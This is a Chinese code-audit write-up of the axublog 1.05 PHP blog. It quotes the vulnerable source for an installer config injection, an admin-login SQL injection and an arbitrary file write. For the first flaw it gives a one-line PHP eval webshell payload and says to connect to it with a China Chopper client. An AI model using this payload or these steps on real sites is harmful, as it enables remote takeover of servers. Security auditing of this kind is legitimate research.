00x1 安装漏洞

  install/cmsconfig.php

 function step4(){
$root=$_POST["root"];
$dbuser=$_POST["dbuser"];
$dbpsw=$_POST["dbpsw"];
$dbname=$_POST["dbname"];
$tabhead=$_POST["tabhead"]; $ad_user=$_POST["ad_user"];
$ad_psw=$_POST["ad_psw"]; $webname=$_POST["webname"];
$weburl=$_POST["weburl"];
$webinfo=$_POST["webinfo"];
$webkeywords=$_POST["webkeywords"];
$webauthor=$_POST["webauthor"];

这几个都是可控的,并没有进行任何处理。然后传到了$text2,然后又写到了cmsconfig.php当中。

 $file="config_empty.php";
$fp=fopen($file,"r"); //以写入方式打开文件
$text2=fread($fp,4096); //读取文件内容
$text2=str_replace('@root@',$root,$text2);
$text2=str_replace('@dbuser@',$dbuser,$text2);
$text2=str_replace('@dbpsw@',$dbpsw,$text2);
$text2=str_replace('@dbname@',$dbname,$text2);
$text2=str_replace('@tabhead@',$tabhead,$text2);
$text2=str_replace('@webname@',$webname,$text2);
$text2=str_replace('@weburl@',$weburl,$text2);
$text2=str_replace('@webinfo@',$webinfo,$text2);
$text2=str_replace('@webkeywords@',$webkeywords,$text2);
$text2=str_replace('@webauthor@',$webauthor,$text2);
$file="../cmsconfig.php"; //定义文件
$fp=fopen($file,"w"); //以写入方式打开文件
fwrite($fp,$text2);
@unlink("goinstall.php");

这个漏洞比较简单,直接在配置信息中填写一句话闭合就可以getshell了。

POC:"@eval($_POST['xishaonian'])

然后菜刀直接连接就cmsconfig.php即可。

注:该漏洞也在后台直接可以插一句话


 00x2 SQL注入

ad/admin.php

 chkoutpost();
$ad_user=$_POST["ad_user"];
$ad_psw=$_POST["ad_psw"];$ad_psw = authcode(@$ad_psw, 'ENCODE', 'key',);
global $tabhead;
$tab=$tabhead."adusers";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab." where adnaa='".$ad_user."'");

很简答可以看到$ad_user没有过滤。直接性导致sql注入。


00x3

 <?php
function edit2save(){
global $themepath;
?>
<div class="yj_green" id=full>
<b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b>
<div class="boxcontent">
<h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2>
</div>
<div class="t1"><div class="t2">
<?php
$path=$_REQUEST['path'];
$content=stripslashes($_REQUEST['content']);
?>
<p>编辑文件:<?=$path?></p>
<?php
if($path==''){echo'文件路径错误!';exit;} if(file_put_contents ($path, $content)){echo"保存文件成功!";}
else{echo"保存文件失败!";}
?> </div></div>
<b class="b4b"></b><b class="b3b"></b><b class="b2b"></b><b class="b1b"></b>
</div>

axublog 1.05代码审计的更多相关文章

  1. PHP代码审计05之正则使用不当

    前言 根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩固.这是之前写的,有兴趣可以去看看 ...

  2. auxblogcms1.0.6|代码审计

    这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...

  3. 代码审计之XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)

    0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...

  4. axublogcms1.0.6|代码审计

    这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...

  5. [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)

    0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...

  6. PHP代码审计基础-初级篇

    对于php代码审计我也是从0开始学的,对学习过程进行整理输出沉淀如有不足欢迎提出共勉.对学习能力有较高要求,整个系列主要是在工作中快速精通php代码审计,整个学习周期5天 ,建议花一天时间熟悉php语 ...

  7. ESPCMS-Seay自动加手工代码审计

    ESPcms代码审计 源码下载地址:http://yesky.91speed.org.cn/sw/180001_190000/rar/espcms_utf8_5.4.12.05.14.rar 1.自动 ...

  8. 代码审计系列题目CTFD部署(上)

    关于简单部署题目请参考:https://www.cnblogs.com/Cl0ud/p/13783325.html 如果需要进行较复杂部署,可参考本篇 PHP代码审计系列题目的部署,较之前的部署方案, ...

  9. 代码审计【根据功能点定向审计】BugFree ZSWin重装案例

    (哦对了!这些CMS代码不要安装在服务器上,先不说它们用来代码审计本身就是有漏洞的,而且在网上下载下来,也不能保证没有源码是否被篡改而留有后门,就安装在本地进行代码审计的练习即可) 我们先下载BugF ...

随机推荐

  1. 【Spring】SpringMVC之异常处理

    java中的异常分为两类,一种是运行时异常,一种是非运行时异常.在JavaSE中,运行时异常都是通过try{}catch{}捕获的,这种只能捕获显示的异常,通常项目上抛出的异常都是不可预见.那么我们能 ...

  2. Oracle 12C -- 设置CDB启动后,PDBs自动启动

    CDB重启后,PDBs默认是处于mounted状态 SQL> select name,open_mode from v$pdbs; NAME OPEN_MODE ---------------- ...

  3. asp.net中Winform开发框架之数据即时更新的实现

    在开篇之前,首先介绍一下Winform开发框架中的界面层的继承关系,首先我把所有窗体区分为三类,一类是普通的窗体,一类编辑窗体,还有一类是列表显示窗体.窗体的集成可以封装处理很多东西,良好的封装和继承 ...

  4. 异步加载js文件的方法总结

    方法一,jQuery.getScript HTML 代码: 代码如下 复制代码 <button id="go">Run</button><div cl ...

  5. mysql出现Too many connections的解决...

    最近写javaee项目的时候,mysql报了too many connections的错误,百度的内容有一些有问题,所以我重新写一下我的解决方法. mysql -u root -p 回车输入密码进入m ...

  6. Django form入门详解--2

    调整form的输出格式: 默认情况下form的格式化输出是基本table的样式的.但是django中还是为form提供发别的输出样式 1.默认的table样式输出 <html> <h ...

  7. PHP断点调试工具Xdebug的安装

    Xdebug是一个PHP程序调试器,可以用来跟踪,调试和分析PHP程序的运行状况.其实调试PHP还有其他工具比如Zend Debugger,但zend官方不是免费发布的,后来更新为zend Serve ...

  8. 微信小程序图片宽100%显示并且不变形

    <view class="meiti" style="background-color:red;"> <image src="htt ...

  9. ubuntu 14.04安装mysql数据库

    1. apt-get install mysql-server mysql-client 输入root的密码: 确认root的密码: 2. 连接测试是否成功:mysql –hlocalhost –ur ...

  10. Mongo如何导出 CSV文件

    mongoexport /h localhost /port 37189 /u aa /p aa /authenticationDatabase admin /d testdb /c usertag ...